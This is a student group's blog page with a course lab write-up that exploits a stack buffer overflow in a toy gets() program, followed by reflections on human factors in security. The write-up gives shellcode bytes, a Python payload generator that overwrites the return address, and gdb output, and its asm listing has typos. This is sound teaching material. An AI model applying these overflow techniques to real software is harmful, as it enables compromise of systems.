DEV Community: 134A6_Thoughts

MP1 Write‑Up – Stack Smashing

134A6_Thoughts — Wed, 11 Mar 2026 10:15:23 +0000

We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.

1. Getting the basic overflow working

We started from the given vuln.c:

#include <stdio.h>
void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {
    }
}

We compiled it exactly as the MP1 handout said:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln

First goal: just smash the stack and see where things land. We generated a dummy payload:

python

payload = b"A" * 8 + b"B" * 4 + b"C" * 4
open("egg", "wb").write(payload)

Then inside gdb:
text

gdb vuln
(gdb) break vuln
(gdb) run < egg
(gdb) print &buffer

We saw:
text

$1 = (char (*)[8]) 0xffffc838

and after stepping past gets and dumping the stack:
text

(gdb) next
(gdb) x/16xb &buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43

So the layout was:

buffer[8] at 0xffffc838 → 8 bytes of 'A'
saved EBP at 0xffffc840 → BBBB
saved EIP at 0xffffc844 → CCCC
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.

2. Building and testing the exit(1) shellcode

We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:
eax = 1 (sys_exit)
ebx = 1 (exit status)
int 0x80
We wrote asm.c alike the instructions:

int main() {
__asm__("xor %eax, %eax;"
"inc %eax;"
"mov %eab, %eax;"
"Leave;"
"Ret;"
);
}

Compiled and disassembled:
text

gcc -m32 -fno-stack-protector -fno-pie -std=c99 asm.c -o asm
objdump -d asm > asmdump

Relevant disassembly showed:
text

31 c0          xor   %eax,%eax
40             inc   %eax
89 c3          mov   %eax,%ebx
b8 01 00 00 00 mov   $0x1,%eax
cd 80          int   $0x80

So the shellcode bytes we care about are:
text

\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80

We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.
At first, we wrote:
c

unsigned char shellcode[] =
    "\\x31\\xc0"
    "\\x40"
    "\\x89\\xc3"
    "\\xb8\\x01\\x00\\x00\\x00"
    "\\xcd\\x80";

which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.
We fixed it by using proper C escape sequences (one backslash):
c

// test_shellcode.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// exit(1) shellcode
unsigned char shellcode[] =
    "\x31\xc0"
    "\x40"
    "\x89\xc3"
    "\xb8\x01\x00\x00\x00"
    "\xcd\x80";

int main() {
    size_t len = sizeof(shellcode) - 1;
    long pagesize = sysconf(_SC_PAGESIZE);

    void *buf = mmap(NULL, pagesize,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);

    memcpy(buf, shellcode, len);

    void (*f)() = buf;
    f();

    return 0;
}

Compiled it:
text

gcc -m32 -fno-stack-protector -fno-pie test_shellcode.c -o test_shellcode
./test_shellcode
echo $?

The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.

3. Constructing the egg for vuln

Next, we needed to get that shellcode into vuln’s stack and redirect execution there.
We decided on this layout for the egg:

buffer[8] → NOP sled (\x90 × 8)
saved EBP → "BBBB"
saved EIP → address of shellcode on the stack
shellcode bytes right after that So Python to generate egg: python

import struct

BUF_ADDR   = 0xffffc838        # from gdb: print &buffer
SHELL_ADDR = BUF_ADDR + 16     # where shellcode starts after gets()

shellcode = (
    b"\x31\xc0"
    b"\x40"
    b"\x89\xc3"
    b"\xb8\x01\x00\x00\x00"
    b"\xcd\x80"
)

NOP = b"\x90"

payload  = NOP * 8          # buffer[8]
payload += b"BBBB"          # saved EBP
payload += struct.pack("<I", SHELL_ADDR)  # saved EIP
payload += shellcode        # shellcode after the return address

open("egg", "wb").write(payload)

We confirmed the file contents:
text

xxd -g1 egg

Output:
text

00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

So:

NOP sled
42 42 42 42 = 'BBBB'
48 c8 ff ff = 0xffffc848 (shellcode address)
then the shellcode bytes. Exactly what we wanted.

4. Verifying the smash and control flow in gdb

We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.
text

gdb vuln
(gdb) break vuln
(gdb) run < egg

We hit the breakpoint at gets(buffer):
text

Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);

Then we stepped over gets so that the input from egg actually got copied into buffer:
text

(gdb) next
6       }

And then dumped buffer:
text

(gdb) x/32xb &buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff

So on the stack we had exactly the bytes from egg:

buffer[8] = 8 NOPs at 0xffffc838
saved EBP = 0x42424242
saved EIP = 0xffffc848
shellcode beginning at 0xffffc848 info frame confirmed the saved EIP: text

(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844

So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.
We then let it continue:
text

(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]

That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.

With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.

Above is the image of the buffer address of the other machine.

Here is the content of the other "egg" file and the results of running it in this machine.

5. The annoying “outside gdb” segfault

We did notice that running:
text

./vuln < egg
echo $?

gave 139 (segmentation fault), not 1. That confused us.
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.
The MP1 instructions, though, explicitly focus on using gdb to:

get &buffer
write an egg
run vuln < egg in gdb and show the behavior
They never require that ./vuln < egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:
the smash works (we overwrote saved EIP), and
control flow goes into our shellcode and returns exit code 1. That’s exactly what the assignment describes. ## 6. Summary of what we accomplished As a group (Akhy, Lark, and Carl), we:

1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).
3.) Constructed an egg payload that:

fills buffer with a NOP sled,

overwrites saved EBP with junk,

overwrites saved EIP with the address of our shellcode on the stack,

places the shellcode at that address.

4.) Verified in gdb that:

buffer contains our payload,

saved EIP equals the shellcode address (0xffffc848),

continuing from vuln returns into the shellcode and the process exits with code 1.

Thoughts on Human Factors in Cybersecurity:

134A6_Thoughts — Sun, 08 Feb 2026 15:41:12 +0000

We are just starting our Cybersecurity course in Uni and our professor opens our journey with a question "What do you think are the causes of leaks or unauthorized access?". Initially, we immediately think about how easy it can be to bypass security measures. However, he emphasizes that it isn’t only about weak security nor the technology, but also the fault of humans or users.

In other words, while technical systems may have vulnerabilities, many security incidents occur because of human error, poor security practices, or user behavior being exploited.

With this in mind, our group talked about a few real-life examples and experiences that show how human behavior affects cybersecurity.

I unapologetically shame people for falling for online scams—until I became one. During Typhoon Tino, floodwaters drowned our car, damaging its ECU. No local repair shops in Cebu had replacements and the "cheapest" options were in Luzon. Desperate, we connected through the repairman's family from Manila to a seller offering a steal.
They demanded a 75% down payment upfront. We haggled it to 20%, which was a small win amid chaos. To finally seal trust, they sent a photo of the "package," label attached with our details. Exhausted and eager to get mobile again, we wired the cash via Gcash without a second scan.
Too late, we spotted the red flags: mismatched font sizes on the label, a telltale edit we later traced to a stock scam image online. The ECU never came. We were duped.
It wasn't just about our flaws of desperation and bias that made us miss obvious fakes, even with tech tools right there. It's equally about their nerve too, scammers hijacking GCash and chats to spin believable lies that exploit other people's difficulties.
Human factors in computer security aren't just our slip-ups from stress or shortcuts. They're also the deliberate malice—crooks twisting the same tools we rely on into traps. Both sides make us the real battleground in cyber risks. Now, when pressure hits, I double-check every detail before sending money online.

-Student A

Where Emotion Meets Exploit
We like to think security is all about code, firewalls, and encryption. But peel back the layers of any breach, and you’ll often find something far more human.
Humans are emotional — beautifully imperfect. And that’s what makes us both the strongest and weakest link in computer security.
Our emotions shape how we design, protect, and even attack systems. When I’m drained or discouraged, I’ll admit—security feels like a chore. I might skip extra validation, trust default settings, or postpone patching because I tell myself, it can wait. But on a good day—focused, enthusiastic—I’ll dig deeper. I’ll test edge cases, challenge assumptions, and think like an attacker. My mindset changes the entire quality of my work.
That’s the truth we often ignore: cybersecurity doesn’t just rely on logic; it depends on emotion.
Attackers know this better than most. They understand human psychology as well as they understand exploits. A kind message, a tone of familiarity, an urgent deadline—these small emotional triggers become attack vectors. A well-crafted email can bypass the sharpest security systems simply by slipping through the softest part of any defense: trust.
Imagine opening an email from a colleague. It’s casual, friendly—maybe a meme, something to lighten the mood. You click without thinking. But behind that innocent image hides a payload, waiting. Within seconds, ransomware runs, files encrypt, networks collapse. The breach didn’t happen because you lacked technical knowledge—it happened because you acted like a human.
That’s the uncomfortable reality: people don’t fall for scams because they’re careless; they fall because they care—because they trust, empathize, laugh, or rush.
To build truly secure systems, we need to stop pretending humans are the problem to engineer away. We’re not glitches. We’re part of the architecture. Training won’t work if it’s just checkboxes and policy reminders. It has to meet people where they are—stressed, distracted, emotional, real.
Security awareness should evolve beyond memorized threats into emotional literacy: understanding why urgency clouds judgment, why flattery lowers defenses, and why even happiness can be weaponized.
At its core, cybersecurity is a story about people—our fears, reactions, impulses. Technology may keep the walls strong, but only awareness keeps the gates closed.
In the end, protecting systems starts with protecting minds. Because the most advanced firewall in the world still can’t patch human emotion.

-Student B

Honestly, I don’t think most of my accounts are very secure. I tend to use one main password for almost everything — from social media to gaming accounts. Since I’m quite forgetful, it’s convenient for me to just remember this one password, and I usually make small variations by adding a digit or special character when needed. I also don't enable my 2-factor authentication since it's really a hassle. Looking back, I realize this makes my accounts more vulnerable and is exactly the kind of human behavior our professor was referring to — even if the security system itself is strong, weak password practices can still put me at risk.

Despite knowing this, I still lean toward prioritizing convenience over security, mainly because my past experiences have made me wary of being locked out of my own accounts. For example, when my phone broke and I had two-factor authentication enabled, I couldn’t access my online wallet for quite a while because I couldn’t figure out how to verify my email and regain access.
I think that as long as I don’t fall for phishing scams or click on any malicious links, I’ll be fine for now. Most of the time, I rely on my caution to avoid obvious threats. However, I realize I could still fall victim to more sophisticated scams if I were ever targeted — after all, I once got roped into a pyramid scheme. For this reason, I agree with Student B’s opinion that cybersecurity strategies should evolve to take human emotion and behavior into account, so that experiences like Student A’s happen less frequently in online/cybersecurity scenarios.

-Student C

In conclusion, while technology can continue to evolve and improve, we cannot rely on it alone to keep us safe. Human awareness and responsible behavior are essential in preventing security breaches, and understanding our own habits can make a big difference. It’s not about blaming anyone — it’s about recognizing that both strong systems and mindful users are needed for effective cybersecurity.

What's your cybersecurity story?